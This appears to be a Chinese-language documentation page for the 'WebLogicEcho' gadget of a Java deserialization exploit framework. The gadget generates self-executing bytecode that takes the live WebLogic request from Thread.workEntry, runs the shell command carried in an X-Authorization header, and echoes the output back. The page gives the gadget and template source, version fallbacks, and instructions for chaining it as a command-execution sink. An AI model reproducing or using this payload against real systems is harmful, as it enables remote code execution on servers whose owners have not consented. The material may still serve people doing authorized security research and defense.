Skip to content

Latest commit

 

History

History
74 lines (65 loc) · 4.37 KB

File metadata and controls

74 lines (65 loc) · 4.37 KB

生成 WebLogic 命令执行明文回显的字节码(WebLogicEcho)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:ReaJason
  • 依赖:无(生成字节码仅依赖目标 WebLogic 运行时自身的类)

作用

生成一段自执行字节码:被目标 JVM 加载后静态块自动实例化,构造函数从当前线程的 workEntry 取出 WebLogic 正在处理的请求与响应,读取指定请求头中的命令、执行并写回,实现 WebLogic 的明文命令回显。是链尾 sink(END)。

链接标签

  • 入口 tagsBytecode(产出原始字节码)、Echo(回显 sink)、END(链终点)。
  • 衔接 nextTags:空 —— 终点构件。
  • excludes:无。

源码剖析

gadget 本体与同族一致,改写模板静态字段后返回字节:

@Param(name="请求头 key", description="执行命令的 Header 头")
public String header = "X-Authorization";

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(WebLogicEchoBytecode.class);
    javassistHelper.modifyStringField("header", this.header);
    return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // END
    return this.getObject();
}

回显核心在模板构造函数(static { new WebLogicEchoBytecode(); } 触发):

// WebLogicEchoBytecode.java(关键片段)
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");   // WebLogic 处理线程的 workEntry
Object request = null, response = null;
try {
    Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
    request  = getFieldValue(connectionHandler, "request");
    response = getFieldValue(connectionHandler, "response");
} catch (Exception x) {                       // 版本差异兜底
    request  = workEntry;
    response = invokeMethod(workEntry, "getResponse", null, null);
}
if (request == null) return;
String data = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{header});
if (data == null || data.isEmpty()) break;    // 无命令头则不回显
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(this.run(data));
writer.flush(); writer.close();
invokeMethod(response, "send", null, null);   // WebLogic 需显式 send() 刷出响应

run(data) 与同族一致(ProcessBuilder 执行 + Scanner("\\A") 收全部输出)。WebLogic 专属要点:

  • 定位请求靠 Thread.workEntry:WebLogic 的 muxer/执行线程持有 workEntry,其 connectionHandler.request/response 即当前请求响应;这是与 Tomcat 系(Poller 线程)、Undertow(ThreadLocal)不同的抓取路径。
  • 双路径兼容:优先走 connectionHandler;捕获异常后退化为把 workEntry 当 request、workEntry.getResponse() 当 response,覆盖不同 WebLogic 版本的字段布局差异。
  • 显式 response.send():不同于其它容器 flush 即可,WebLogic 需再调 send() 才把回显数据真正推给客户端。
  • 命令载体仍是 header(默认 X-Authorization)请求头,全程 try/catch(Throwable) 静默。

参数(@Param)

字段 名称 说明 默认 可选值
header 请求头 key 承载待执行命令的 HTTP 请求头名 X-Authorization 任意合法头名

适用版本与原理要点

  • gadgets.json 中该 gadget 无 description;实现上通过 connectionHandler 主路径 + workEntry.getResponse() 兜底路径兼容多版本 WebLogic。
  • 明文回显,一次请求一次结果,不落地。生效前提:字节码被目标端加载并实例化(一般经 TemplatesImpl),触发请求带对的 header 头,且当前线程确有 workEntry(即在请求处理线程内执行)。

所属预设链

自由构件,未直接出现在 51 条预设链中。用法:将“命令执行”类链的 sink 由 Exec 替换为 WebLogicEcho,对 WebLogic 目标带回显执行。

关联